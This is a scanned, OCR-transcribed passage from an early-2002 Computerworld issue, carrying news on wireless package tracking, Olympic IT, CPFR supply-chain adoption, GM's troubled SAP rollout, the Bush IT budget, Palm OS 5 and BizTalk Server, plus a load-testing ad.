than  from  computers. 

Air2Web  helped  develop 
the  international  wireless 
package-tracking  service 
and  a  similar  service  that 
UPS  introduced  in  the 
US.  in  July  2000. 

Roberta  Wiggins,  an 
analyst  at  The  Yankee  THIS  PHONE 
Group  in  Boston,  agreed,  shows  pack- 
“Mobile  services  are  more  age-tracking 
developed  in  Asia,  where  results  in 
there  also  is  not  as  much  Japanese. 


[wired]  Internet  usage  as  in  the 
United  States,”  she  said. 

Taylor  said  UPS  plans  to  roll 
out  the  wireless  package  track¬ 
ing  worldwide  in  other  lan¬ 
guages  and  character  sets,  in¬ 
cluding  Arabic. 

FedEx  Corp.  in  Memphis 
offers  international  wireless 
tracking,  but  only  in  English. 

Traci  Barnett,  a  FedEx 
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spokeswoman,  said  the 
company  constantly 
reviews  possible  new 
wireless  services  but 
didn’t  say  if  it  would 
provide  multilingual 
service. 

Although  DHL  of¬ 
fers  wireless  package¬ 
tracking  service  in 
multiple  languages 
worldwide,  the  com¬ 
pany  doesn’t  provide 
such  a  service  in  the 
U.S.  Tracy  Egan,  a 
DHL  spokeswoman, 
said  this  reflects  the 
dominance  of  wired 
Internet  usage  and  the 
slow  adoption  of  mo¬ 
bile  Internet  services 
here.  ^ 


Winter  Uppics  IT  Chief 
Has  No  Room  for  Errors 


Biggest  challenge: 
System  must  work 

BY  JULIA  KINO 

Late  last  week,  thousands  of 
sportscasters,  international 
sports  officials  and  other  atten¬ 
dees  at  the  2002  Olympic  Win¬ 
ter  Games  in  Utah  began  tap¬ 
ping  into  a  computer  system 
that  took  a  consortium  of  16 
technology  vendors  more  than 
three  years  to  develop  and 
deploy. 

If  the  system  doesn’t  work 
properly.  New  York-based  lead 
integrator  SchlumbergerSema 
and  its  partners,  including  Sun 
Microsystems  Inc.,  Gateway 
Inc.,  Xerox  Corp.  and  Samsung 
Electronics  Inc.,  will  have  to 
race  to  beat  back  a  world-class 
public  relations  nightmare  sim¬ 


ilar  to  the  one  IBM  faced  at  the 
1996  Summer  Games  in  Atlanta. 

Back  then,  flaws  in  IBM’s 
much-vaunted  Olympic  Infor¬ 
mation  Network  led  to  inaccu¬ 
racies  and  delays  in  reporting 
real-time  results  around  the 
globe.  Before  this  year’s  Games 
began.  Bob  Cottam,  Schlum- 
bergerSema’s  chief  integrator 
on  the  $300  million  Olympic  IT 
project,  spoke  with  Computer- 
world  about  managing  an  IT 
project  that  has  absolutely  no 
room  for  errors. 

What’s  the  biggest  challenge  on  a 
massive  project  like  this?  Pulling 
the  software  together  for  the 
first  time.  We’re  producing 
these  applications  from 
scratch.  When  you  have  a 
large  distributed  system, 
working  with  all  parties  on  the 
design  and  getting  the  net¬ 


work  figured  out  is  a  big  issue. 
Also,  getting  it  all  together  in 
the  test  lab  is  an  issue,  because 
if  you  change  something  in 
one  area,  you  also  change 
something  in  another  area. 

So  how  is  the  IT  team  organized  to 
deliver  technology  services  during 
the  Olympics?  The  whole  IT 
staff  is  about  300  people,  with 
SchlumbergerSema  supplying 


Olympian  Effort 

Technology  being  used  at  the 
Winter  Olympics  includes  the 
following: 

■32,000  miles  of  fiber-optic 
cable 

■  40  applications  with  a  total 
of  10  million  lines  of  code 

■  225  network  servers  and  145 
Unix  systems 

■  4,500  PCs  and  laptops 
■1,210  printers 

■  10,000  cellular  and  PCS  phones 
■1,000  online  information  kiosks 


about  half  of  them.  On  top  of 
that,  we  have  another  120  peo¬ 
ple  in  Barcelona  who  are  de¬ 
veloping  applications  that 
were  delivered  here.  But  at 
game  time,  that  staff  of  300 
will  go  to  1,300.  The  Organiz¬ 
ing  Committee  arranges  for 
about  600  volunteers  to  come 
in,  plus  Sun,  Gateway,  Xerox, 
Kodak  and  other  [vendors] 
have  another  300  to  400  peo¬ 
ple  from  their  facilities.  We’re 
all  called  IT  volunteers. 

And  who  are  your  users?  We 
have  to  support  10  sporting 
venues,  plus  the  main  media 
center  and  the  Olympic  Vil¬ 
lage.  We  staff  two  main  shifts 
a  day  and  have  a  main  Infor¬ 
mation  Technology  Center, 
which  is  our  mission  control 
for  the  Games.  Because  we 
have  such  a  large,  distributed 
network  with  thousands  of 
PCs  and  700  networking 
devices,  we  need  a  mission 
control  where  we  can  monitor 
[systems].  We  also  have  a  help 
desk  [system]  that  is  distrib¬ 
uted  to  all  of  the  sites.  If  any¬ 


one,  anywhere  has  a  query, 
they  enter  a  [trouble]  ticket 
and  it  gets  raised  centrally. 

What,  if  anything,  in  your  previous 
IT  jobs  has  helped  prepare  you 
to  carry  off  such  a  huge  project? 

I’ve  worked  on  large  govern¬ 
ment  command  and  control 
systems  with  the  same  tech¬ 
nologies,  which  are  client/ 
server-  and  Unix-based  with 
[Windows]  NT  as  the  front- 
end  [operating  system].  My 
last  job  was  with  a  foreign 
government  where  we  had  a 
central  database  with  30  sites 
linked  together  with  redun¬ 
dancy.  The  reason  I’m  on  this 
project  is  that  technically  it’s 
the  same  challenge,  but  with 
this  one,  the  Feb.  8  date 
[couldn’t]  slip. 

On  other  projects,  if  some¬ 
one  changes  a  specification, 
you  always  negotiate  more 
time  and  more  money.  Here, 
there’s  no  more  time  and  no 
more  money.  You  just  do  it.  So 
the  biggest  challenge?  It’s  a 
date  that  doesn’t  slip  and  a 
system  that  must  work.  I 


DON’T  RISK  AN  OVERLOADED  WEB  SITE. 
PREVENT  LOST  REVENUE. 

KEEP  INTERNET  MONSTERS  IN  THEIR  PLACE. 


Web  site  capacity  bottlenecks  lead  to  frustrated  customers  and  lost  revenue.  Perform  accurate  and  reliable 
load  tests  on  your  business-critical  Web  sites  with  Keynote  services  and  we’ll  ensure  that  you  end  up  with 
a  highly  tuned  Web  site,  and  that  you  don’t  spend  more  money  than  you  need  to  due  to  over-provisioning.  With 
Keynote’s  enterprise  testing  services,  you  can  test  your  applications  from  outside  the  firewall,  giving  you 
greater  control  over  your  Internet  performance.  Identify  bottlenecks  prior  to  launching  new  Web  sites.  And  run 
flexible,  self-service  tests  to  make  sure  ongoing  changes  to  your  content  or  infrastructure  aren’t  impacting 
your  e-Business  performance.  All  of  which  keep  Internet  monsters  right  where  you  want  them:  far,  far  away. 

Tame  the  Internet  today.  Visit  www.keynote.com/test_cw  to  find  out  about  our  free  load  test  offer. 

FREE  LOAD  TEST  ^  KEYNOTE* 

www.keynote.coni/test_cw  1-800-KEYN0TE  ext.  2110 
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Microsoft,  DOJ  File 
Setttement  Report 

Responding  to  a  request  from  U.S. 
District  Court  Judge  Colleen  Kollar- 
Kotelly,  Microsoft  Corp.  and  the  U.S. 
Department  of  Justice  said  they  plan 
to  suggest  any  last-minute  changes 
to  their  proposed  antitrust  settle¬ 
ment  deal  by  Feb.  27.  In  a  joint  sta¬ 
tus  report,  the  two  sides  also  asked 
the  judge  to  omit  oral  third-party 
testimony  from  any  future  hearings 
on  the  settlement  proposal. 

7-Eleven,  EDS  Expand 
IT  Services  Deal 

Dallas-based  7-Eleven  Inc.  and  Elec¬ 
tronic  Data  Systems  Corp.  signed  a 
seven-year  contract  valued  at  S175 
million  that  calls  for  EDS  to  provide 
7-Eleven  with  systems  integration 
and  application  development  ser¬ 
vices  on  an  as-needed  basis.  The 
agreement  expands  on  a  1995  deal 
under  which  Plano,  Texas-based 
EDS  has  developed  various  business 
systems  for  7-Eleven. 

Oracle  Patches  9i 
Security  Holes 

Oracle  Corp.  said  it  has  developed 
software  patches  and  workarounds 
to  address  several  security  flaws  in 
its  Oracle  9i  database,  including 
one  that  could  allow  a  hacker  to 
gain  access  to  an  unprotected  sys¬ 
tem  without  a  user  ID  or  password. 
The  holes  were  reported  to  the  soft¬ 
ware  vendor  in  December  by  a  U.K.- 
based  security  firm,  and  the  patch¬ 
es  can  be  downloaded  from  Oracle's 
Web  site. 


Short  Takes 

MICROSOFT  this  week  plans  to 
launch  its  long-awaited  Visual  Stu¬ 
dio.  Net  development  tool,  which  is 
aimed  at  making  it  easier  for  devel¬ 
opers  to  build  Web  services  and 

Web-based  applications _ Rose- 

mont,  lll.-based  COMDISCO  INC. 
said  it  plans  to  keep  its  three  re¬ 
maining  IT  leasing  businesses. 
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Collaborative  Planning 
Still  Eyed  With  Caution 


Despite  potential  to  improve  inventory 

forecasting,  users  go  slow  on  CPFR 


BY  MARC  L.  SONGINI 

FTER  RUNNING 
a  pilot  program 
with  Kmart  Corp. 
last  year,  vitamin 
maker  Phar- 
mavite  Corp.  now  wants  to 
start  using  collaborative  plan¬ 
ning,  forecasting  and  replen¬ 
ishment  (CPFR)  technology 
on  a  wider  basis.  But  it’s  start¬ 
ing  small;  the  number  of  retail¬ 
ers  it  expects  to  partner  with 
this  year  could  be  as  low  as  two. 


of  the  business  changes  can  be 
“overwhelming,”  Suleski  said. 
For  example,  CPFR  requires 
suppliers  and  retailers  to  share 
closely  guarded  sales  informa¬ 
tion. 

Art  Karrer,  CPFR  manager 
at  Pharmavite,  said  the  vitamin 
manufacturer  saw  a  36%  im¬ 
provement  in  sales  forecast  ac¬ 
curacy  on  the  products  that 
were  part  of  its  test  run  with 
Kmart,  which  involved  appli¬ 
cations  from  Atlanta-based 


suppliers  track  sales,  inventory 
levels  and  other  data  about 
their  products  at  individual 
Kmart  stores.  She  added  that 
executives  at  the  company, 
which  filed  for  Chapter  11  bank¬ 
ruptcy  protection  last  month, 
decided  there  was  no  point  in 
supporting  redundant  systems. 

There  have  been  some  early 
CPFR  success  stories.  For  ex¬ 
ample,  Oak  Brook,  llL-based 
Ace  Hardware  Corp.  is  using 
CPFR  tools  to  collaborate  with 
23  manufacturers.  The  tech¬ 
nology  is  already  yielding  ben¬ 
efits,  said  Scott  Smith,  manag¬ 
er  of  Ace’s  inventory  depart¬ 
ment  (see  story,  below). 


Standards 

Developments 

New  steps  in  the  CPFR 
standards  process  include 
the  following: 

■  The  committee  responsi¬ 
ble  for  CPFR  specifications 
plans  later  this  month  to  re¬ 
lease  guidelines  for  setting  up 
international  collaboration 
processes  among  companies. 

■  The  first  standardized  XML 
specification  related  to 
CPFR  systems  was  approved 
by  the  committee  in  November. 


But  even  early  adopters  such 
as  Ace  aren’t  close  to  reaching 
the  full  potential  of  CPFR.  In¬ 
deed,  Ace  is  working  collabo- 
ratively  with  a  only  tiny  frac¬ 
tion  of  its  1,500  suppliers. 

The  main  obstacle  to  CPFR 


And  Pharmavite  must  look 
beyond  Kmart.  A  Kmart 
spokeswoman  said  last  week 
that  the  struggling  Troy,  Mich.- 
based  retailer  pulled  the  plug 
on  its  CPFR  program  because 
the  collaborative  technology 
duplicated  an  existing  invento¬ 
ry  management  system. 

The  paths  being  taken  by 
Kmart  and  Northridge,  Calif.- 
based  Pharmavite  illustrate  the 
cautious  acceptance  rate  that 
software  supporting  collabora¬ 
tive  demand  forecasting  and 
inventory  planning  is  getting 
from  companies.  Despite 
CPFR’s  potential  to  help  retail¬ 
ers  and  their  suppliers  ensure 
that  the  right  amount  of  inven¬ 
tory  is  available  in  stores,  users 
and  analysts  said  adoption  of 
the  technology  continues  to  be 
a  slow  process. 

Few  companies  have  gone 
beyond  the  test  phase  with 
CPFR,  according  to  Janet 
Suleski,  an  analyst  at  AMR  Re¬ 
search  Inc.  in  Boston.  As  many 
as  65  retailers  have  rolled  out 
test  systems,  Suleski  said.  But 
she  estimated  that  only  about 
a  half-dozen  have  launched 
large-scale  CPFR  projects. 

Much  of  the  slow  growth 
can  be  attributed  to  the  fact 
that  implementing  CPFR  sys¬ 
tems  requires  changes  that 
many  companies  are  unwilling 
or  unable  to  make,  especially 
during  a  recession.  The  nature 


Logility  Inc.  The  pilot  project 
paid  for  itself,  Karrer  said,  and 
Pharmavite  would  like  to  link 
the  CPFR  system  to  a  total  of 
six  to  nine  retailers. 

He  added  that  manufactur¬ 
ers  such  as  Pharmavite  need  to 
get  30%  to  50%  of  their  biggest 
customers  on  board  to  reach 
“critical  mass”  on  CPFR  imple¬ 
mentations. 

The  Kmart  spokeswoman 
said  CPFR  technology  dupli¬ 
cated  the  retailer’s  Kmart 
Workbench  system,  which  lets 


Competitive  Advantage 

Kimberly-Clark  Corp.  in  Irv¬ 
ing,  Texas,  is  another  CPFR  ad¬ 
vocate.  Larry  Roth,  a  senior 
consultant  at  the  maker  of  con¬ 
sumer  products,  said  the  com¬ 
pany  is  expanding  its  use  of 
collaborative  tools  developed 
by  Syncra  Systems  Inc.  in  Wal¬ 
tham,  Mass.,  “as  quickly  as 
possible.”  He  declined  to  com¬ 
ment  further,  saying  that  CPFR 
“has  become  a  matter  of  com¬ 
petitive  advantage.” 


is  a  general  misunderstanding 
of  the  technology,  said  Joe  An- 
draski,  a  vice  chairman  of  the 
CPFR  committee  within  the 
Voluntary  Interindustry  Com¬ 
merce  Standards  Association 
in  Lawrenceville,  N.J.  Compa¬ 
nies  have  to  thoroughly  evalu¬ 
ate  their  IT  systems,  organiza¬ 
tional  structures  and  business 
processes  before  rolling  out 
CPFR  systems,  Andraski  said.  I 


Reporter  Carol  Sliwa 
contributed  to  this  story. 


Ace  Has  a  Place  for  CPFR  Technology 


Ace  Hardware  stands  out  among 
the  early  retail  adopters  of  CPFR 
technology  because  of  the  size  of 
its  implementation.  While  many  re¬ 
tailers  are  still  piloting  CPFR  with 
small  quantities  of  merchandise 
and  a  handful  of  manufacturers, 
Ace  is  already  claiming  payoffs 
from  CPFR,  such  as  increased 
sales  and  reductions  in  merchan¬ 
dise  receiving  and  freight  costs. 

The  retailer  uses  CPFR  technolo¬ 
gy  to  manage  about  6,000  items 
made  by  23  manufacturers,  accord¬ 
ing  to  Scott  Smith,  manager  of 
Ace’s  inventory  department.  The 
suppliers  sell  their  wares  to  Ace, 
and  individual  stores  purchase  from 
the  corporate  warehouse.  Smith 
said  sales  from  the  corporate  ware¬ 
house  to  Ace  retail  stores  increased 
10.3%  last  year,  compared  with  a 


flat  overall  sales  rate  for  the  retailer. 

Smith  said  Ace  and  participating 
suppliers  now  spend  less  time  talk¬ 
ing  about  why  certain  items  are  out 
of  stock  and  more  time  planning 
promotions  and  introducing  new 
items.  “We  have  better  promotional 
execution  because  they’re  dialing 
in  and  looking  at  the  same  screens 
we  look  at.”  he  said. 

The  extra  planning  has  also 
helped  Ace  save  up  to  20%  on  the 
labor  costs  associated  with  receiv¬ 
ing  merchandise  from  its  CPFR 
partners,  according  to  Smith.  He 
said  Ace  can  now  make  three  times 
more  “full-palette”  purchases  from 
the  CPFR  partners  than  it  does 
from  its  1,500  other  manufacturers. 
That  reduces  expenses  associated 
with  handling  incoming  shipments. 

Freight  costs  have  been  another 


area  of  savings  for  Ace.  Smith  not¬ 
ed  that  one  manufacturer  lowered 
freight  expenses  from  7%  of  its 
product  cost  to  2.5%.  Since  freight 
costs  are  built  into  retail  prices, 
such  savings  can  help  Ace  keep  its 
prices  down,  he  said. 

The  CPFR  program  is  still  a  rela¬ 
tively  small  part  of  Ace’s  business, 
accounting  for  about  $97  million  in 
annual  purchases  of  products  by  its 
stores.  But  Smith  said  his  goal  is  to 
hit  $1  billion  annually  from  the  re¬ 
tailer’s  CPFR  partners  in  three  or 
four  years.  That  would  be  about 
one-third  of  overall  sales  from 
Ace’s  corporate  warehouse  to  its 
retail  stores,  he  added. 

“That’s  pretty  aggressive,  but  at 
some  point,  we  think  that  this  might 
take  off  as  a  regular  business  pro¬ 
cess,  like  [electronic  data  inter¬ 
change]  did  12  years  ago,"  he  said. 

-  Carol  Sliwa 
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GM  Locomotive  Unit  Puts 

ERP  Rollout  Back  on  Track 

Configuration  problems  force  makeover 
of  SAP  system,  retraining  of  end  users 


BY  MARC  L.  SONGINI 

ENERAL  MOTORS 
Corp.’s  locomo¬ 
tive  unit  encoun¬ 
tered  such  severe 
problems  during 
a  rollout  of  SAP  AG’s  R/3 
applications  last  year  that  its 
spare  parts  business  virtually 
ground  to  a  halt,  forcing  GM  to 
launch  an  emergency  turn¬ 
around  effort  six  months  after 
the  software  went  live. 

Officials  at  GM’s  Locomo¬ 
tive  Group  said  order  backlogs 
and  fulfillment  cycle  times  still 
aren’t  at  levels  that  fully  meet 
customer  demands,  although 
business  operations  started  to 
improve  shortly  after  the  res¬ 
cue  effort  began  in  July. 

The  SAP  software  had  to  be 
reconfigured,  flushed  and  re¬ 
populated  with  clean  data,  said 
Mike  Duncan,  director  of 
worldwide  aftermarket  sales 
and  development  at  the  La- 
Grange,  Ill.-based  locomotive 
unit.  The  $2  billion  GM  sub¬ 
sidiary  hired  a  second  consult¬ 
ing  firm  to  help  fix  the  enter¬ 
prise  resource  planning  (ERP) 
and  supply  chain  management 
system  after  its  first  integrator 
completed  the  initial  rollout. 

The  unit,  which  makes  loco¬ 
motives,  diesel  engines  and  ar¬ 
mored  vehicles  such  as  tanks, 
also  had  to  retrain  end  users 
and  remap  all  the  business 
processes  that  were  being  built 
into  the  new  system. 

The  problems  started  when 
the  Locomotive  Group  went 
live  with  R/3  in  January  2001. 
The  plan  was  to  make  after- 
market  operations  more  effi¬ 
cient  by  replacing  legacy  main¬ 
frame  systems  with  R/3  mod¬ 
ules  that  could  handle  parts 
distribution,  order  entry,  pro¬ 
curement  and  financial  report¬ 
ing,  said  David  Scott,  the  unit’s 
executive  director. 

Scott  said  there  were  no 


problems  with  R/3  itself,  but 
the  applications  weren’t  prop¬ 
erly  configured  to  meet  GM’s 
needs.  As  a  result,  the  after- 
market  department  couldn’t 
accurately  forecast  demand  or 
ensure  that  it  had  the  right  mix 
of  parts  inventories  on  hand. 

Configuration  Fallout 

“Our  business  processes 
were  largely  arrested  by  what 
happened,”  Scott  said.  “We 
spent  a  lot  of  money  and  ex¬ 
pected  to  get  something  for  it, 
and  got  something  else  instead. 
It  was  very  disappointing.” 

Scott  and  Duncan  declined 


White  House  wants 
to  bridge  'islands 
of  automation' 

BY  PATRICK  THIBODEAU 

WASHINGTON 

President  Bush  wants  to  knock 
down  federal  agency  IT  silos, 
integrate  systems  and  develop 
the  means  to  quickly  share  in¬ 
formation  across  government 
agencies  and  businesses.  And 
across  the  board,  he  wants  to 
beef  up  IT  security. 

Security  was  the  underlying 
theme  of  the  $52  billion  IT 
budget  that  the  Bush  adminis¬ 
tration  proposed  last  week  for 
fiscal  2003,  which  starts  in  Oc¬ 
tober.  That’s  about  a  15%  in¬ 
crease  over  this  year’s  budget, 
but  $3.3  billion  of  the  $52  bil¬ 
lion  is  actually  being  spent  this 
year,  so  the  net  increase  is 
about  8%,  according  to  Input,  a 
Chantilly,  Va.-based  firm  that 


to  identify  the  first  consulting 
firm  that  worked  on  the  proj¬ 
ect,  nor  would  they  discuss  the 
process  they  used  to  originally 
configure  and  operate  the 
system.  They  also  declined  to 
disclose  the  cost  of  the  project 
or  the  financial  impact  of  the 
system  problems. 

A  spokesman  at  SAP  Ameri¬ 
ca  Inc.  in  Newtown  Square,  Pa., 
declined  to  comment  specifi¬ 
cally  on  the  situation  at  GM. 
“They  continue  to  be  a  produc¬ 
tive  customer  at  this  point,  and 
we  continue  to  work  with 
them,”  he  said. 

Duncan  said  the  materials 
supply  and  forecasting  mod¬ 
ules  in  the  ERP  system  were  es¬ 
pecially  troublesome.  The  way 
they  were  configured  didn’t 
reflect  the  complexity  of  the 


studies  government  spending. 

The  proposed  budget  calls 
for  the  creation  of  an  Informa¬ 
tion  Integration  Office,  which 
would  map  out  a  plan  for  im¬ 
proving  information  sharing 
among  federal,  state  and  local 
government  agencies  as  well 
as  certain  industries,  such  as 
credit  reporting  firms. 

The  goal  is  to  make  informa¬ 
tion  available  quickly  in  times 
of  need.  “This  lack  of  effective 
information  sharing  . . .  slows 
our  ability  to  detect  and  re¬ 
spond  to  incidents,”  said  Ken¬ 
neth  Juster,  undersecretary  of 
Commerce  for  export  adminis¬ 
tration,  at  a  briefing. 

The  budget  would  also  ex¬ 
pand  programs  that  have  al¬ 
ready  paid  dividends  to  compa¬ 
nies  that  sell  to  the  federal  gov¬ 
ernment.  “We  have  groups  of 
people  who  now  sit  in  their  of¬ 
fices  and  do  business  through 
different  Web-based  technolo¬ 
gies  ...  as  opposed  to  some 


distribution  processes  that  the 
Locomotive  Group  uses  to 
supply  parts  to  customers  in 
the  U.S.  and  other  countries, 
he  said.  In  addition,  some  lega¬ 
cy  data  wasn’t  adequately  re¬ 
formatted  to  work  within  the 
SAP  applications. 

The  Locomotive  Group 
brought  in  Chicago-based 
Technology  Solutions  Co.  to 
help  reconfigure  the  ERP  sys¬ 
tem.  Scott  said  that  although 
most  aftermarket  operations 
have  returned  to  normal,  GM  is 
still  looking  for  continued  im¬ 
provements  from  both  IT  and 
business  process  standpoints. 

The  Locomotive  Group  is 
also  outsourcing  SAP-related 
application  support,  end-user 
training  and  follow-on  soft¬ 
ware  implementation  to  Tech- 


guy  getting  in  a  car  and  driving 
around  town,”  said  Steve  Carri¬ 
er,  vice  president  for  business 
development  at  Los  Angeles- 
based  defense  contractor  Nor¬ 
throp  Grumman  Corp.  “Those 
are  all  cost-savers  to  us.” 

But  the  broad  intent  of  this 
year’s  IT  budget  is  to  “unify 
hundreds  of  redundant  gov¬ 
ernment  computer  systems 
across  agencies  that  act  as 
islands  of  automation,”  the 

Congress  Moves 
On  IT  Spending 

The  House  of  Representatives 
last  week  OK’d  about  $880M 
to  strengthen  information  se¬ 
curity  training  and  research. 
Senate  action  is  needed. 

TRAINING:  The  National  Science 
Foundation  would  create  cybersecu¬ 
rity  research  centers  and  provide 
grants  and  fellowships  to  colleges. 

RESEARCH:  The  National  Institute 
of  Standards  and  Technology  would 
develop  grant  programs  that  team 
industry  and  uni  versities  on  security 
projects  and  encourage  senior  re¬ 
searchers  in  other  fields  to  work  on 
cybersecurity. 


JUST  THE  FACTS 


Engine 

Problems 

Key  details  about  the  GM  Loco¬ 
motive  Group’s  ERP  and  after- 
market  supply  chain  project: 

THE  PLAN:  The  locomotive  unit  launched 
an  SAP-based  ERP  and  supply  chain  sys¬ 
tem  early  last  year  in  order  to  improve  its 
financial  reporting  and  its  ability  to  forecast 
spare  parts  needs. 

WHAT  VVENT  WRONG:  The  software 
wasn’t  configured  well  enough  to  match 
internal  business  processes,  and  legacy 
mainframe  data  wasn’t  properly  formatted 
for  the  new  system. 

WHAT  WAS  DONE:  GM  hired  a  turn¬ 
around  firm  to  evaluate  the  aftermarket 
business  and  get  it  running  efficiently.  It’s 
now  outsourcing  the  management  of  the 
system  to  Technology  Solutions. 

nology  Solutions.  Despite  the 
start-up  problems,  GM  plans 
to  install  R/3  in  the  locomotive 
unit’s  manufacturing  opera¬ 
tions  and  other  departments  in 
the  next  few  years.  I 


administration  said.  According 
to  the  budget  document,  these 
systems  “have  held  back  nec¬ 
essary  productivity  gains.”  In¬ 
formation-sharing  initiatives 
would  account  for  $722  million 
of  next  year’s  IT  spending  if 
Congress  approves  the  budget. 

The  main  obstacle  to  this 
initiative  may  not  be  technical. 
“The  federal  government  is  a 
very  stovepipe  organization,” 
said  Payton  Smith,  an  analyst 
at  Input.  “In  general,  federal 
agencies  aren’t  used  to  work¬ 
ing  with  one  another.” 

Mark  Forman,  who  is  emerg¬ 
ing  as  the  administration’s  top 
IT  budget  official  at  the  Office 
of  Management  and  Budget, 
recently  gave  a  presentation 
in  which  he  emphasized 
“knowledge-based  solutions” 
and  supply  chain  management 
as  being  part  of  the  administra¬ 
tion’s  goal.  Creating  a  strong 
business  case  for  spending  is 
critical,  Forman  said. 

“We  want  to  know  how 
much  an  agency  is  going  to  im¬ 
prove  its  mission  performance 
as  a  result  of  its  IT  invest¬ 
ment,”  Forman  said.  “We’re 
clearly  going  to  ramp  up  the 
demand  for  [IT]  services.”  I 


Bush  IT  Budget  Promotes 
Info  Sharing  and  Security 
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Network  Associates 
Sued  Over  Licenses 

The  New  York  attorney  general’s 
office  filed  a  lawsuit  alleging  that 
Network  Associates  Inc.  illegally 
prohibits  users  of  its  software  from 
posting  informal  product  reviews  or 
tests  without  its  permission.  That 
could  preempt  discussions  of  flaws 
in  the  Santa  Clara,  Calif.-based 
security  software  vendor’s  prod¬ 
ucts,  the  suit  charges.  Network 
Associates  denied  any  wrongdoing. 

Sun  Adds  Disk  Arrays, 
Shuffles  Software 

Sun  Microsystems  Inc.  announced 
two  new  direct-attached  disk  arrays 
that  support  storage  capacities  of 
up  to  11TB  and  are  priced  below  its 
high-end  9900  series  line.  The  de¬ 
vices  include  storage  virtualization 
software  developed  by  Vicom  Sys¬ 
tems  Inc.  in  Fremont,  Calif.  Sun  also 
repackaged  its  storage  software 
into  four  new  product  suites. 

Hershey  Adds  Single 
Sign-on  to  Extranet 

Hershey  Foods  Corp.  has  imple¬ 
mented  single  sign-on  technology 
that  authenticates  users  of  its 
extranet  and  lets  them  access  mul¬ 
tiple  applications  while  logging  on 
just  once  per  session.  In  addition, 
the  application,  which  is  based  on 
Bedford,  Mass.-based  RSA  Security 
Inc.’s  ClearTrust  Web  access  man¬ 
agement  software,  lets  Hershey, 
Pa.-based  Hershey  centrally  man¬ 
age  user  access  procedures. 


Short  Takes 

The  U.S.  SENATE  stopped  work  on  a 
proposed  economic  stimulus  bill 
that  included  a  depreciation  bonus 
on  IT  equipment _ CISCO  SYS¬ 

TEMS  INC.  reported  net  income  of 
S560  million  for  its  second  quarter 
ended  Jan.  26,  down  from  $874 
million  in  the  same  period  last  year. 
Second-quarter  revenue  declined 
.29%  year  to  year. 


NEWS 


Palm  Starts  Testing 
Mobile  OS  Upgrade 


New  features  include  added  security, 
built-in  wireless  and  multimedia  support 


AT  A  GLANCE 


BY  BOB  BREWIN 

ALM  INC.  LAST  WEEK 

released  a  beta-test 
version  of  its  up¬ 
coming  Palm  OS  5 
operating  system, 
which  is  expected  to  include 
expanded  security,  wireless 
and  multimedia  features. 

Palm  said  the  upgraded  op¬ 
erating  system  will  include 
128-bit  security  and  support 
for  the  Wi-Fi  wireless  LAN 
standard  as  well  as  Bluetooth 
short-range  wireless  devices. 
Palm  OS  5  will  also  have  multi- 
media  hooks  that  are  designed 
to  support  the  development  of 
larger  screens,  the  Santa  Clara, 
Calif.-based  company  said. 

Unlike  Palm’s  current  oper¬ 
ating  system,  the  Palm  OS  5 
has  built-in  support  for  Bed¬ 
ford,  Mass.-based  RSA  Secu¬ 
rity  Inc.’s  RC4  encryption  algo¬ 
rithm.  The  built-in  support  for 
wireless  is  also  integral  to  the 
new  operating  system. 

The  security  is  designed  to 
encrypt  and  protect  enterprise 
data  on  the  device,  which  Palm 
views  as  essential  for  a  product 
that  users  frequently  lose. 

Palm  OS  5  was  designed  to 
run  on  ARM  chips  developed 
by  ARM  Ltd.  in  Cambridge, 
England,  and  licensed  by  Intel 
Corp.,  Schaumburg,  Ill.-based 
Motorola  Inc.  and  Texas  In¬ 
struments  Inc.  in  Dallas. 

Tailoring  the  system  to  run 
on  the  ARM  chips  will  let  Palm 
and  its  software  licensees  de¬ 
velop  integrated  handheld 
computing  products  that  can 
also  operate  on  mobile  tele¬ 
phone  systems,  since  mobile 
handset  manufacturers  have 
also  chosen  ARM  as  their  hard¬ 
ware  foundation,  said  Michael 
Mace,  chief  competitive  officer 
at  PalmSource  Inc.,  Palm’s  op¬ 
erating  system  subsidiary. 

Palm  has  two  major  hard¬ 


ware  licensees  today:  Hand¬ 
spring  Inc.  in  Mountain  View, 
Calif.,  which  develops  prod¬ 
ucts  for  the  general  business 
and  consumer  market;  and 
Symbol  Technologies  Inc.  in 
Holtsville,  N.Y.,  which  devel¬ 
ops  rugged  systems  targeted  at 
vertical  applications  such  as 
logistics  and  shipping.  But 
Mace  said  the  number  of  li¬ 
censees  should  grow  as  Palm- 
Source  seeks  to  expand  its 
hardware  base. 

“You  need  [to  offer]  choic¬ 
es,’’  Mace  said.  “The  sales  de¬ 
partment  might  need  smart 
phones,  other  departments 
standard  handhelds,  and  ware¬ 
house  and  inventory  manage- 


Added  features  help 
users  link  systems 

BY  CAROL  SLIWA 

Microsoft  Corp.  last  week  re¬ 
leased  the  second  version  of 
its  BizTalk  Server,  featuring 
“seed”  technology  to  help  trad¬ 
ing  partners  more  easily  con¬ 
nect  their  systems  plus  im¬ 
proved  integration  with  other 
Microsoft  products. 

Microsoft’s  main  product  in 
the  business-to-business  space, 
BizTalk  Server  software  is  de¬ 
signed  to  help  companies  ex¬ 
change  data  between  applica¬ 
tions  residing  inside  and  out¬ 
side  their  corporate  firewalls.  It 
also  lets  users  manage  business 
processes  through  an  orches¬ 
tration  component. 

Microsoft  product  manager 


OS  5  Features 

■  128-bit  encryption  from  RSA  Security 

■  Buiit-in  support  for  802.11b  and 
Bluetooth  wireless  products 

■  Supports  larger  color  screens 

■  Supports  sound  recording  and  playback 
of  CD-quality  audio 

■  Developed  for  use  on  ARM  processors 


ment  systems  another  [hard¬ 
ware  device].” 

Barney  Dewey,  an  analyst  at 
Andrew  Seybold  LLC  in  Los 
Gatos,  Calif.,  said  Palm  OS  5 
should  provide  strong  compe¬ 
tition  to  Pocket  PC  devices 
that  run  on  Microsoft  Corp.’s 
Windows  CE  software. 

Analyst  Ken  Dulaney  at  Gart¬ 
ner  Inc.  in  Stamford,  Conn., 
was  more  cautious,  saying  that 


Dave  Wascha  said  BizTalk 
Server  2002  is  viewed  as  an 
“evolutionary”  release,  while 
the  next  version,  due  next  year, 
will  be  a  major  upgrade. 

However,  large  companies 
may  find  the  current  version’s 
seed  technology  particularly 
useful  in  helping  smaller  trad¬ 
ing  partners  ramp  up  for  elec¬ 
tronic  transactions,  said  Ken 
Vollmer,  an  analyst  at  Cam¬ 
bridge,  Mass.-based  Giga  In¬ 
formation  Group  Inc. 

For  example,  an  auto  manu¬ 
facturer  might  use  the  rapid- 
integration  technology  to  cre¬ 
ate  an  XML  document  with 
the  configuration  information 
a  small  parts  supplier  needs  to 
set  up  its  BizTalk  Server  to 
exchange  data.  The  supplier 
would  simply  have  to  open  the 
XML  document  and  use  a  se¬ 
ries  of  wizards  to  extract  the 


